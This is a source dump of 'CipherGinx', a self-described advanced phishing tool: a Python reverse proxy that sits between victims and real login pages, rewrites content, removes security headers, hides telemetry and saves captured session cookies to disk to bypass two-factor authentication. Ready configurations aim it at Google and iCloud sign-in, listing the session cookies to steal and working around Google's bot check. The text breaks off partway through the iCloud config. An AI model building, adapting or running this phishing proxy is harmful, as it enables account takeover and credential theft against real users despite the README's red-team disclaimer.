├── .gitignore ├── LICENSE ├── README.md ├── UPDATES ├── bin ├── generate └── generate.exe ├── cert ├── readme.txt └── server.pem ├── cipherginx.py ├── config ├── example.py ├── gconfig.py └── iconfig.py ├── helper.py └── requirements.txt /.gitignore: -------------------------------------------------------------------------------- 1 | __pycache__ 2 | log.txt 3 | token.txt -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2021 Ab 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # CipherGinx   ![GitHub release (latest by date)](https://img.shields.io/github/v/release/cipheras/cipherginx?style=flat-square&logo=superuser) 2 | #### Advanced phishing tool used for session & credential grabbing and bypassing 2FA using man-in-the-middle attack with standalone reverse proxy server. 3 | 4 | ![Lines of code](https://img.shields.io/tokei/lines/github/cipheras/cipherginx?style=flat-square) 5 |     ![Python version](https://img.shields.io/badge/python-3.X-green?style=flat-square&labelColor=grey&color=darkgreen) 6 |     ![Code Quality](https://img.shields.io/badge/dynamic/json?url=https://www.jsonkeeper.com/b/KNO7&label=code%20quality&query=codequality&style=flat-square&labelColor=grey&color=yellowgreen) 7 |     ![platform](https://img.shields.io/badge/dynamic/json?url=https://www.jsonkeeper.com/b/KNO7&label=platform&query=platform&style=flat-square&labelColor=grey&color=purple) 8 | 9 | ![example](../asset/screen.png?raw=true) 10 | 11 | ## Description 12 | This tool is used for advanced phishing attacks using reverse proxy. It can also bypass **2FA** or **2-factor authorization**. Captured tokens will be written in the file `token.txt` on successful phish. Attacker can use this tool to phish victim with any website by creating a suitable configuration and using a signed **SSL\TLS certificate**(victim will see `https` connection). Author has already tested it with **gmail, outlook & icloud**, however no orginal config has been uploaded here for security purposes. This tool is only to be used as a POC to understand advanced phishing and for **Red Teaming** purposes. 13 |
14 | 15 | #### Advantages over other similar tools: 16 | - This tool lets you modify anything in the website to be used for phishing. 17 | - Other tools have restriction like you can not replace **response headers or request body**, or you need to use third party tools along with them. 18 | - You can also block certain paths. Tool returns `[200 ok]` response to those paths without any body, to avoid any suspicion. 19 | - Supports **regex**. 20 | - Supports TCP connection over `SSL/TLS`. Use your own signed certificates. 21 | - Supports http1, http1.1 & http2 connections. 22 | - Comparably smaller config files because of path based modification and fast to make. 23 | - You do not have to enter whole URL path in the `config.py` files. You can just enter part of URL path and tool will automatically match it. 24 | 25 | 26 | ## Options 27 | ``` 28 | cipherginx.py [-h] [-v] [-l {info,debug,error}] [config] 29 | 30 | positional arguments: 31 | config select config to run 32 | 33 | optional arguments: 34 | -h, --help show this help message and exit 35 | -v, --version show tool version 36 | -l {info,debug,error}, --level {info,debug,error} 37 | logging level 38 | 39 | Example: 40 | cipherginx.py myconfig -l debug 41 | or 42 | cipherginx.py -l debug myconfig 43 | ``` 44 | 45 | ## Usage 46 | *In order to use this tool `python3` is required.* 47 | To install python in windows get it from [here](https://www.python.org/downloads/). 48 |
49 | - For help type `python cipherginx -h`. 50 | - If you are using port 443(for ssl/tls), run tool with `sudo`. 51 | - Use your own cert for **ssl/tls** & put it in `cert` folder with name `server.pem`. 52 | - Given cert can be used but it is **unsigned**. 53 | - Put your `config.py` files in config folder. 54 | 55 | ## Config Structure 56 | Config files are structured as sub lists inside a list with two/three items, where first item is the `path` on which that particular task is to be executed. 57 |
58 | Each sublist acts as task. For each replacement you have to add one sublist. 59 |
60 | `path` can be just some part of the URL where the task is to be executed. 61 |
62 | Use `'' (blank single quotes)` if you want to apply that replacement on all the URLs. 63 |
64 | 65 | **Basic configuration:** 66 | 67 | | variable | use | 68 | |--- | --- | 69 | |`hostname` | {target website} | 70 | |`isSSL` | {http or https} | 71 | |`server` | {your domain} | 72 | |`port` | {port to run on} | 73 | 74 | **Phishing configuration:** 75 | 76 | | list | use | 77 | | --- | --- | 78 | |`inject_domain` |  [domain to be replaced, domain to be replaced with] | 79 | |`req_headers` |  [path, headers in dict format] | 80 | |`resp_headers` |  [path, headers in dict format] | 81 | |`req_body` |  [path, string to be replaced, string to be replaced with] | 82 | |`resp_body` |  [path, string to be replaced, string to be replaced with] | 83 | |`block_paths` |  [paths] | 84 | |`get_cookie` |  [cookie names] | 85 | 86 | ## Disclaimer 87 | *This tool is merely a POC of what attackers can do. Author is not responsible for any use of this tool in any nefarious activity.*
88 | *Configs given as an example here are anti script-kiddies.* 89 | 90 | ## License 91 | **cipherginx** is made by **@cipheras** and is released under the terms of the  ![GitHub License](https://img.shields.io/github/license/cipheras/cipherginx?color=darkgreen) 92 | 93 | ## Contact   [![Twitter](https://img.shields.io/twitter/url?style=social&url=https%3A%2F%2Fgithub.com%2Fcipheras%2Fcipherginx&label=Tweet)](https://twitter.com/intent/tweet?text=Hi:&url=https%3A%2F%2Fgithub.com%2Fcipheras%2Fcipherginx) 94 | > Feel free to submit a bug, add features or issue a pull request. 95 | 96 | -------------------------------------------------------------------------------- /UPDATES: -------------------------------------------------------------------------------- 1 | v1.5 2 | - resolved anti-bot implementation related issues 3 | 4 | v1.4 5 | - implemented google anti-botguard 6 | - resolved some timestamp related issues in cookies 7 | - saving all tokens generated instead of recent one in token.txt file -------------------------------------------------------------------------------- /bin/generate: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cipheras/cipherginx/b4d7403720d6d43384f41e4a55fa2ad690b5458d/bin/generate -------------------------------------------------------------------------------- /bin/generate.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cipheras/cipherginx/b4d7403720d6d43384f41e4a55fa2ad690b5458d/bin/generate.exe -------------------------------------------------------------------------------- /cert/readme.txt: -------------------------------------------------------------------------------- 1 | - Put your server.pem file in this dir for HTTPS connection. 2 | 3 | - An unsigned server.pem is present as an example to run localhost server. 4 | 5 | - Do not use this pem file for main server. -------------------------------------------------------------------------------- /cert/server.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN RSA PRIVATE KEY----- 2 | MIIEowIBAAKCAQEArBLnxDFWk3uRn5LyIpEpG1TUMiUJaFVm8DV+NNgwPceiy34v 3 | fEA6mxpVdA1QOS9bqRvxxgBCAN8qZzzwymEwJKb3fjyhpVeORHAusv2bZ/OpXwat 4 | sMkQttUtqBAfHRdIyXiqX13h9X6v6d6+MIqO1LRc+VIqvWurqDid9/Xfw5Rf1HeS 5 | kbDX7pXwWXxpCGWVW0OtrGaeytiLNzq5d2PB9cLsvFMbJrTA4IJkif60V3kWxYLi 6 | LCJIes0ESpGsgUA5YsD02oCEm+yGOe3+FTDmbEJo51meMIqbEGudndUq+0zWIlVq 7 | CsSre1/9xzM3etC2UgJ9cvlanmStF4fylQ/rIwIDAQABAoIBAHb5R1hGiMbGPGSp 8 | 1FMELPjhySm2o++IhPj284EULR66JpwubiSpwBu3tHfeMKapUOX3FU7CpOA3bPke 9 | kJpNYl0lOKAGyfkpNYuqSQ+m+8l/Fo9Gbdd63dycPsoiA3E4xTHQBXSU1APKiVTZ 10 | loS3eJQm9NXJ8xUvGevg4ZAtZ36wuEJ6vI7LjprG3E/lJcah2P/AvM+dJyu3oqgG 11 | nKKgFA6ggA3ml7qMvP5Lo4NtmDRr0/O9KHFeDXYKKx/BJgniGgT15tLrG4m40xow 12 | 9T4asmYGtRFaf032aMqwWTX+B8gBaVw8W3HLBO4p5VQTRj6NhFNkD+YJz2m5qGkH 13 | oryLsHECgYEA4G1M+AmF4UGf5QQxMeS7/NfPEOBTZ+S7Dlcw7R007FeeHr6t3o7v 14 | iXd6fv5xaNvJIdUNoS4moR8F/0S2No+dpRZBRIVhrRuvn4HES9JtWTTerOjXoT3f 15 | YG3uhAOqGEbpaFhIBHq2TWNJFXlMQvCa6nGPAc4dV7z+RKvB2wb9yZsCgYEAxEgd 16 | xH572LbFllNqYWHvNk2gr/sv7UkRo3PV9C+r336x6pTEtnFFe1LnSc1rgEXaKDqO 17 | tbzs12tIMOR0kNu9+vljWJQRkX38wEj9Zqyuysxp+JGaX6eu9YuYgbpaRWMORrC/ 18 | 2LkhtpxjERsXi6rfLXIcxAgaEFcmAHQLZwyi4RkCgYEA0pXdDjUpWceROHzpiG6f 19 | 8s2xr50+xhL7bqZj82pfeZFxflnfniEzJSNmXvl0AzeQkF1xL5e1iaQppXCdJa82 20 | 9mxei+Q4Vg3PinVict8d2gHhHBBUHSmIi9w7XcZued84Lr//u6xFmXIbZrnt1DYe 21 | tvQdg00bfXOKh3c/LL1vsBcCgYB6EPNaQOLaWog0vbmZyGMQ3WQCLW+X3Oo4QZCc 22 | ZI0517vjzBMt9vGkCWHHVxX01vweKpSX119fdNuXdGw9rjrO+wtaifMHDVgDaSEW 23 | Gmw1uLxqlnpv5IN9NwxoGTGMl1bIhaE5saCSxV0ixTt2Y5SZ2a6kBvnWkawTeheh 24 | RY2B+QKBgHODxMZA89uep03QS6y2hy32Hr9pLp/ZSoXLXjjzTBAVgbgyB22eayQv 25 | 3q58Bi0ZTr3eS7vb1GLrieQw4zIoL1zZlSvGDf7/UvF2PgLIDWpzGNY3HJMfpt1O 26 | heby3SjE1wUpH4Z11XUM82yw9BBW4Hm87RvTrFWvg+ojtDAIU5Or 27 | -----END RSA PRIVATE KEY----- 28 | -----BEGIN CERTIFICATE----- 29 | MIICwzCCAaugAwIBAgIJAN0jMv3d4OolMA0GCSqGSIb3DQEBBQUAMBQxEjAQBgNV 30 | BAMTCWxvY2FsaG9zdDAeFw0yMTA1MDgxNjA2MzRaFw0zMTA1MDYxNjA2MzRaMBQx 31 | EjAQBgNVBAMTCWxvY2FsaG9zdDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC 32 | ggEBAKwS58QxVpN7kZ+S8iKRKRtU1DIlCWhVZvA1fjTYMD3Host+L3xAOpsaVXQN 33 | UDkvW6kb8cYAQgDfKmc88MphMCSm9348oaVXjkRwLrL9m2fzqV8GrbDJELbVLagQ 34 | Hx0XSMl4ql9d4fV+r+nevjCKjtS0XPlSKr1rq6g4nff138OUX9R3kpGw1+6V8Fl8 35 | aQhllVtDraxmnsrYizc6uXdjwfXC7LxTGya0wOCCZIn+tFd5FsWC4iwiSHrNBEqR 36 | rIFAOWLA9NqAhJvshjnt/hUw5mxCaOdZnjCKmxBrnZ3VKvtM1iJVagrEq3tf/ccz 37 | N3rQtlICfXL5Wp5krReH8pUP6yMCAwEAAaMYMBYwFAYDVR0RBA0wC4IJbG9jYWxo 38 | b3N0MA0GCSqGSIb3DQEBBQUAA4IBAQCfc4FLZ1hDcI908HCp26FxIH4hRUsoTuWv 39 | ubtbkmcY+FuNGYuGsGfxuPNLjF0iTo/b9PQwfRGuhTjm82rcUM6/U5YJcD2g5bRU 40 | GVA6BYUYnbotRI4BQsA6GIpxC4uMW7muCoUyeMLXIHKIlTVBSy6DZX3ezophSjh5 41 | /Hms/iEQyi50Vj2uwESXYEyMfQ9STl5U3OSBkRE7PdCjCT6PKcMMzGlELN3I28M8 42 | VL3jrkV/OLUErvy74o8YZTaDCMzjyA+aYgifX8DAP3z4nPnEns7NK2oZmQkURRMG 43 | g+d7ph/3r/jk+gLlN1RrTGKfn9xgRbM1F5XRbJS8k5jHfP+STvpG 44 | -----END CERTIFICATE----- 45 | -------------------------------------------------------------------------------- /cipherginx.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env python3 2 | 3 | # from os import execlpe 4 | import subprocess 5 | import requests, json, time, re 6 | from datetime import datetime 7 | from sys import exit, platform 8 | import argparse, logging, ssl 9 | from http.cookies import SimpleCookie 10 | from helper import * 11 | from http.server import HTTPServer,BaseHTTPRequestHandler 12 | from socketserver import ThreadingMixIn 13 | from requests.packages.urllib3.exceptions import InsecureRequestWarning 14 | requests.packages.urllib3.disable_warnings(InsecureRequestWarning) 15 | # from urllib.parse import unquote, quote_plus 16 | 17 | VERSION = 'v1.5' 18 | CONFIG = '' 19 | LEVEL = '' 20 | 21 | def banner(): 22 | bnr = RED + ''' 23 | ( ( ) ( ( ) ) 24 | ( )\ ) )\ ) ( /( )\ ) ( )\ ) ( /( ( /( 25 | )\ (()/( (()/( )\()) ( (()/( )\ ) (()/( )\()) )\()) 26 | (((_) /(_)) /(_)) ((_)\ )\ /(_)) (()/( /(_)) ((_)\ ((_)\ 27 | )\___ (_)) (_)) _((_) ((_) (_)) /(_))_ (_)) _((_) __((_) ''' + GREEN + ''' 28 | '''+RED+'''(('''+GREEN+'''/ __| |_ _| | _ \ | || | | __| | _ \ '''+RED+'''(_)'''+GREEN+''') __| |_ _| | \| | \ \/ / '''+PURPLE+''' 29 | | (__ | | | _/ | __ | | _| | / | (_ | | | | .` | > < '''+GREEN+''' 30 | \___| |___| |_| |_||_| |___| |_|_\ \___| |___| |_|\_| /_/\_\ 31 | '''+RED+''' =====================================================================''' 32 | by = ''' 33 | +-+ +-+ +-+ +-+ +-+ +-+ +-+ +-+ 34 | |C| |i| |p| |h| |e| |r| |a| |s| 35 | +-+ +-+ +-+ +-+ +-+ +-+ +-+ +-+''' 36 | print(GREEN + bnr + RESET) 37 | print(CYAN + '\tCreated by: ' + GREEN + by + RESET) 38 | print(CYAN + '\tVersion: -~{ ' + RED + VERSION + CYAN + ' }~-\n' + RESET) 39 | time.sleep(1) 40 | 41 | def flags(): 42 | description = BLUE+'['+GREEN+'+'+BLUE+'] Setup host, port, server & other details in config & run '+GREEN+'"sudo cipherginx.py config_name"'+BLUE+' to start the server' + RESET 43 | epilog = BLUE+'['+GREEN+'+'+BLUE+'] To use your own cert put it in the cert folder with name '+GREEN+'"server.pem"'+RESET 44 | parser = argparse.ArgumentParser(description=description, epilog=epilog) 45 | parser.add_argument('config', nargs='?' , help='select config to run') 46 | parser.add_argument('-v', '--version', help='show tool version', action='store_true') 47 | parser.add_argument('-l', '--level', help='logging level', choices=['info','debug','error'], default='info') 48 | args = parser.parse_args() 49 | if args.version: 50 | print(BLUE + VERSION + RESET) 51 | exit(0) 52 | elif args.config: 53 | global CONFIG 54 | CONFIG = args.config 55 | else: 56 | h = BLUE+''' 57 | .--, .--, 58 | ( ( \.---./ ) ) 59 | '.__/o o\__.' 60 | {= ^ =} 61 | > - < 62 | ________________.""`-------`"".________________ 63 | / \\ 64 | \ '''+GREEN+'''\t\t Check -h or --help'''+BLUE+'''\t\t / 65 | / \\ 66 | \_______________________________________________/ 67 | ___)( )(___ 68 | (((__) (__))) 69 | '''+RESET 70 | print(h) 71 | exit(0) 72 | 73 | if args.level: 74 | global LEVEL 75 | LEVEL = args.level 76 | 77 | def checkUpdate(): 78 | try: 79 | logging.info('checking for updates') 80 | resp = requests.get('https://api.github.com/repos/cipheras/cipherginx/releases').json() 81 | version = resp[0]['tag_name'] 82 | release_name = resp[0]['name'] 83 | if version != VERSION: 84 | print(BLUE+'['+GREEN+'+'+BLUE+'] Update available...'+BLINK+GREEN+version+' ['+release_name+']'+RESET) 85 | except Exception as e: 86 | logging.warning(RED + 'failed to get update info') 87 | logging.debug(e, exc_info=True) 88 | 89 | def injectHeaders(oreq_header, url, post_body_len, path): 90 | str_req_header = str(oreq_header) 91 | for h in inject_domain: 92 | str_req_header = str_req_header.replace(h[1],h[0]) 93 | oreq_header = eval(str_req_header) 94 | for _ in req_headers: 95 | if _[0] in path: 96 | oreq_header.update(_[1]) 97 | print('\n##################### Proxy --request[injected]--> Host #####################') 98 | for k,v in list(oreq_header.items()): 99 | if k.lower()=='content-length' and v != '#': 100 | oreq_header.update({k:post_body_len}) 101 | oreq_header.pop(k) if v=='#' else print(CYAN, k, ':', v, RESET) 102 | print(YELLOW + 'Injected headers in: ' + RESET + url) 103 | return oreq_header 104 | 105 | def injectRespHeaders(header, path): 106 | for _ in resp_headers: 107 | if _[0] in path: 108 | header.update(_[1]) 109 | for k,v in _[1].items(): 110 | if v=='#': header.pop(k) 111 | return header 112 | 113 | def injectReqBody(post_body, path): 114 | print(YELLOW + 'Injecting body in path:' + RESET) 115 | print(path) 116 | for d in inject_domain: 117 | post_body = str(post_body).replace(d[1],d[0]) 118 | for _ in req_body: 119 | if _[0] in path: 120 | post_body = re.sub(_[1], _[2], post_body) 121 | print(BLUE, post_body, RESET) 122 | return eval(post_body) 123 | 124 | def injectRespBody(resp, path): 125 | for d in inject_domain: 126 | resp = str(resp).replace(d[0],d[1]) 127 | for _ in resp_body: 128 | if _[0] in path: 129 | resp = resp.replace(_[1],_[2]) 130 | print(YELLOW + 'Replaced {' + _[1] + '} with {' + _[2] + '}' + RESET) 131 | return eval(resp) 132 | 133 | def blockPaths(path): 134 | if path.split('?')[0] in block_paths or path in block_paths: 135 | print(YELLOW, 'Blocked path:', path, RESET) 136 | return True 137 | return False 138 | 139 | def parseCookie(cookie): 140 | cl = [] 141 | for k,v in SimpleCookie(cookie).items(): 142 | cook = {} 143 | if k in get_cookie or k.lower() in get_cookie: 144 | cook['name'] = k 145 | cook['value'] = v.value 146 | cook['domain'] = v['domain'] 147 | cook['path'] = v['path'] 148 | try: 149 | ts = datetime.strptime(v['expires'], '%a, %d-%b-%Y %H:%M:%S GMT').timestamp() 150 | except Exception as e: 151 | ts = v['expires'] 152 | logging.warning(RED + 'different timestamp format, sending raw timestamp') 153 | logging.debug(e, exc_info=True) 154 | pass 155 | cook['expirationDate'] = int(ts) 156 | cl.append(cook) 157 | print(BGORANGE + json.dumps(cl) + RESET) 158 | try: 159 | with open('token.txt', 'a') as f: 160 | f.write(json.dumps(cl) + '\n') 161 | except Exception as e: 162 | logging.error(RED + 'failed to write cookies') 163 | logging.debug(e, exc_info=True) 164 | 165 | class ProxyHTTPRequestHandler(BaseHTTPRequestHandler): 166 | # protocol_version = 'HTTP/2.0' 167 | s = requests.Session() 168 | 169 | def do_HEAD(self): 170 | self.do_GET(body=False) 171 | 172 | def do_GET(self, body=True): 173 | sent = False 174 | try: 175 | logging.info('path::' + self.path) 176 | if blockPaths(self.path): return 177 | hn = hostname 178 | for _ in req_headers: 179 | if _[0] in self.path: 180 | for k,v in _[1].items(): 181 | if k=='Host': hn=v 182 | url = 'https://' + hn + self.path.replace(domain,hostname.split('.',1)[1]) 183 | # Parse request 184 | print('\n//'+self.command) 185 | print(LIGHTGREEN + url + RESET) 186 | req_header = self.parseHeaders() 187 | # Call the target hostname 188 | resp = self.s.get(url, headers=injectHeaders(req_header, url, self.headers['Content-Length'], self.path), verify=False, allow_redirects=True,) 189 | sent = True 190 | if resp.history: 191 | for r in resp.history: 192 | print('Redirection: '+BOLD+CYAN+'[',r.status_code,'] ',r.url, RESET) 193 | # Respond with the requested data 194 | self.sendRespHeaders(resp) 195 | if body: 196 | inj_resp = injectRespBody(resp.content, self.path) 197 | self.send_header('Content-Length', len(inj_resp)) 198 | self.end_headers() 199 | self.wfile.write(inj_resp) 200 | else: 201 | self.send_header('Content-Length', len(resp.content)) 202 | self.end_headers() 203 | return 204 | except Exception as e: 205 | logging.error(RED + str(e)) 206 | logging.debug(e, exc_info=True) 207 | # exit() 208 | finally: 209 | # self.finish() 210 | if not sent: 211 | self.send_error(200, 'No Content') 212 | logging.info('sending [200] with no content to target') 213 | 214 | def do_POST(self, body=True): 215 | sent = False 216 | try: 217 | logging.info('path::'+self.path) 218 | if blockPaths(self.path): return 219 | hn = hostname 220 | for _ in req_headers: 221 | if _[0] in self.path: 222 | for k,v in _[1].items(): 223 | if k=='Host': hn=v 224 | url = 'https://' + hn + self.path.replace(domain,hostname.split('.',1)[1]) 225 | # Parse request 226 | print('\n//'+self.command) 227 | print(LIGHTGREEN + url + RESET) 228 | req_header = self.parseHeaders() 229 | # content-length injection 230 | if self.headers['Content-Length'] == None: 231 | content_len = 0 232 | else: 233 | content_len = int(self.headers['Content-Length']) 234 | post_body = self.rfile.read(content_len) 235 | print(GREEN, post_body, RESET) 236 | ## google-anti-botguard 237 | if '/accountlookup' in self.path: 238 | token = requests.get("http://localhost:8081?e="+re.findall('f.req=%5B%22.*?%22',str(post_body))[0].split('%22')[1]).text 239 | post_body = re.sub(b'identifier%22%2C%22%3C.*%22', b'identifier%22%2C%22%3C'+bytes(token,encoding='utf8')+b'%22', post_body) 240 | ## 241 | injbody = injectReqBody(post_body, self.path) 242 | # Call the target hostname 243 | resp = self.s.post(url, data=injbody, headers=injectHeaders(req_header, url, str(len(injbody)), self.path), verify=False,) 244 | sent = True 245 | if resp.history: 246 | for r in resp.history: 247 | print('Redirection: ' +BOLD+CYAN+ '[',r.status_code,'] ',r.url, RESET) 248 | print(BGGREEN + str(resp.content) + RESET) 249 | # Respond with the requested data 250 | self.sendRespHeaders(resp) 251 | if body: 252 | inj_resp = injectRespBody(resp.content,self.path) 253 | print(BGBLUE + str(inj_resp) + RESET) 254 | self.send_header('Content-Length', len(inj_resp)) 255 | self.end_headers() 256 | self.wfile.write(inj_resp) 257 | else: 258 | self.send_header('Content-Length', len(resp.content)) 259 | self.end_headers() 260 | return 261 | except Exception as e: 262 | logging.error(RED + str(e)) 263 | logging.debug(e, exc_info=True) 264 | # exit() 265 | finally: 266 | # self.finish() 267 | if not sent: 268 | self.send_error(200, 'No Content') 269 | logging.info('sending [200] with no content to target') 270 | 271 | def parseHeaders(self): 272 | req_header = {} 273 | print('##################### Client --request--> Proxy #####################') 274 | for k,v in self.headers.items(): 275 | print(CYAN, k, ':', v, RESET) 276 | req_header[k] = v 277 | return req_header 278 | 279 | def sendRespHeaders(self, resp): 280 | print('\n##################### Host --response--> Proxy --> Client #####################') 281 | self.send_response(resp.status_code) 282 | hl = ['content-encoding', 'transfer-encoding', 'content-length', 'x-frame-options', 'x-content-type-options', 'content-security-policy', 'content-security-policy-report-only', 'strict-transport-security', 'x-xss-protection'] 283 | for k,v in injectRespHeaders(resp.headers, self.path).items(): 284 | if k.lower() not in hl: 285 | for h in inject_domain: 286 | v = v.replace(h[0],h[1]) 287 | print(CYAN, k, ':', v, RESET) 288 | self.send_header(k,v) 289 | if k.lower()=='set-cookie': 290 | parseCookie(v) 291 | 292 | class ThreadedHTTPServer(ThreadingMixIn, HTTPServer): 293 | """ Make our HTTP server multi-threaded """ 294 | 295 | def runServer(): 296 | try: 297 | logging.captureWarnings(True) 298 | logging.info('HTTP server is starting on port ' + str(port)) 299 | server_address = (server, port) 300 | # httpd = HTTPServer(server_address, ProxyHTTPRequestHandler) 301 | httpd = ThreadedHTTPServer(server_address, ProxyHTTPRequestHandler) 302 | if isSSL: 303 | httpd.socket = ssl.wrap_socket(httpd.socket, server_side=True, certfile='cert/server.pem') 304 | if hostname=="accounts.google.com": 305 | subprocess.Popen(['bin/generate.exe']) if platform=='win32' else subprocess.Popen(['bin/generate']) 306 | logging.info('HTTP server is running as reverse proxy') 307 | httpd.serve_forever() 308 | except KeyboardInterrupt: 309 | logging.info('\nExiting...') 310 | logging.debug('ctrl + c pressed') 311 | httpd.server_close() 312 | time.sleep(1) 313 | print(CLEAR) 314 | exit(0) 315 | except Exception as e: 316 | logging.error(RED + str(e)) 317 | logging.debug('check domain name and ssl cert', exc_info=True) 318 | 319 | if __name__ == '__main__': 320 | cwin() 321 | flags() 322 | if LEVEL=='error': 323 | logging.basicConfig(format=PURPLE + '## %(asctime)s [%(levelname)s] - %(message)s' + RESET, level=logging.ERROR,) 324 | elif LEVEL=='debug': 325 | logging.basicConfig(format=PURPLE + '## %(asctime)s [%(levelname)s] - %(message)s' + RESET, level=logging.DEBUG,) 326 | else: 327 | logging.basicConfig(format=PURPLE + '## %(asctime)s [%(levelname)s] - %(message)s' + RESET, level=logging.INFO,) 328 | banner() 329 | checkUpdate() 330 | try: 331 | logging.info('loading config ' + CONFIG) 332 | exec('from config.' + CONFIG + ' import *') 333 | except Exception as e: 334 | logging.error(RED + 'no such config found' + RESET) 335 | logging.debug(e, exc_info=True) 336 | exit(1) 337 | runServer() 338 | -------------------------------------------------------------------------------- /config/example.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env python3 2 | 3 | hostname = 'xyz.com' 4 | isSSL = True 5 | server = 'localhost' 6 | port = 443 7 | domain = server if port in [443,80] else '{}:{}'.format(server,port) 8 | 9 | inject_domain = [ 10 | ['sub.xyz.com', 'sub.'+domain], 11 | ['dom.xyz.com', 'dom.'+domain], 12 | ] 13 | 14 | req_headers = [ 15 | ['', {'Connection':'close'}], 16 | ['/js/example.js', {'Host':'sub.xyz.com'}], 17 | ['/static', {'Host':'sub.xyz.com'}], 18 | ] 19 | 20 | resp_headers = [ 21 | ['', {}] 22 | ] 23 | 24 | req_body = [ 25 | ['klajndf/alif/akjdf', 'original', 'replaced'], 26 | ] 27 | 28 | resp_body = [ 29 | # # ['', 'https', 'http'], 30 | ['', 'string to be replaced', 'string to be replaced with'], 31 | ['/signin', 'Sign in', 'Hack it'], 32 | ] 33 | 34 | block_paths = [ 35 | '/cspreport', 36 | ] 37 | 38 | get_cookie = [ 39 | 'ID', 40 | 'TOKEN', 41 | ] 42 | 43 | -------------------------------------------------------------------------------- /config/gconfig.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env python3 2 | 3 | hostname = 'accounts.google.com' 4 | isSSL = True 5 | server = 'localhost' 6 | port = 443 7 | domain = server if port in [443,80] else '{}:{}'.format(server,port) 8 | 9 | inject_domain = [ 10 | ['apis.google.com','apis.'+domain], 11 | ['ssl.gstatic.com', 'ssl.'+domain], 12 | ['accounts.youtube.com', 'youtube.'+domain], 13 | ['content.googleapis.com', 'content.'+domain], 14 | ['accounts.google.com', 'accounts.'+domain], 15 | ['www.google.com', 'www.'+domain], 16 | ['myaccount.google.com', 'myaccount.'+domain], 17 | ] 18 | 19 | req_headers = [ 20 | ['', {'Connection':'close'}], 21 | ['/js/base.js', {'Host':'apis.google.com'}], 22 | ['_/scs/apps-static', {'Host':'apis.google.com'}], 23 | ['/cryptauth/v1/authzen/awaittx', {'Host':'content.googleapis.com'}], 24 | ['/accounts/static/_/js', {'Host':'ssl.gstatic.com'}], 25 | ['/accounts/embedded/', {'Host':'ssl.gstatic.com'}], 26 | ['/accounts/embedded/', {'Host':'ssl.gstatic.com'}], 27 | ['/CheckConnection', {'Host':'accounts.youtube.com'}], 28 | ['favicon.ico', {'Host':'www.google.com'}] 29 | ] 30 | 31 | resp_headers = [ 32 | ] 33 | 34 | req_body = [ 35 | ] 36 | 37 | resp_body = [ 38 | # # ['', 'https', 'http'], 39 | ['', 'https://play.google.com/log?format=json&hasfast=true', '//'], 40 | ['/', 'Sign in', 'FAkE GoOglE'], 41 | ['/js/base.js','google(rs)?\.com', domain], 42 | ['', 'accounts.'+domain+'/CheckCookie','google.com'], 43 | ] 44 | 45 | block_paths = [ 46 | '/cspreport', 47 | '/signin/v2/_/common/diagnostics/', 48 | '/_/common/diagnostics/', 49 | '/log', 50 | '/jserror', 51 | '/signin/v2/jserror', 52 | 'CheckConnection', 53 | ] 54 | 55 | get_cookie = [ 56 | 'SID', 57 | 'HSID', 58 | 'SSID', 59 | 'APISID', 60 | 'SAPISID', 61 | 'NID', 62 | 'GAPS', 63 | 'LSID', 64 | 'ACCOUNT_CHOOSER', 65 | ] 66 | 67 | -------------------------------------------------------------------------------- /config/iconfig.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env python3 2 | 3 | hostname = 'icloud.com' 4 | isSSL = True 5 | server = 'ilocal.dd' 6 | port = 443 7 | domain = server if port in [443,80] else '{}:{}'.format(server,port) 8 | 9 | 10 | inject_domain = [ 11 | ['icloud.developer.apple.com', 'icloud.developer.'+domain], 12 | ['icloud.com.cn', 'cn.'+domain], 13 | ['iCloud.com.cn', 'cn.'+domain], 14 | ['cdn.apple-cloudkit.com', 'cdncloud.'+domain], 15 | ['setup.icloud.com', 'setup.'+domain], 16 | ['appleid.cdn-apple.com', 'appleidcdn.'+domain], 17 | ['idmsa.apple.com.cn', 'cnidmsa.'+domain], 18 | ['idmsa.apple.com', 'idmsa.'+domain], 19 | ['feedbackws.apple-cloudkit.com', 'feedbackws-cloudkit.'+domain], 20 | ['feedbackws.icloud.com', 'feedbackws.'+domain], 21 | ['www.apple.com', 'wwwapple.'+domain], 22 | ['appleid.apple.com', 'appleid.'+domain], 23 | ['id.apple.com', 'id.'+domain], 24 | ['api.apple-cloudkit.com', 'apicloudkit.'+domain], 25 | ['support.apple.com', 'support.'+domain], 26 | ['iforgot.apple.com', 'iforgot.'+domain], 27 | ['signin.apple.com', 'signin.'+domain], 28 | ['gsa.apple.com', 'gsa.'+domain], 29 | ['icloud.com', domain], 30 | ['iCloud.com', domain], 31 | ['apple.com', 'apple.'+domain], 32 | ] 33 | 34 | req_headers = [ 35 | ['', {'Host':'www.icloud.com', 'Accept-Encoding':'gzip, deflate', 'Connection':'close'}], 36 | ['appleauth/auth', {'Host':'idmsa.apple.com', }], 37 | ['jslog', {'Host':'idmsa.apple.com',}], 38 | ['reportRaw', {'Host':'feedbackws.icloud.com'}], 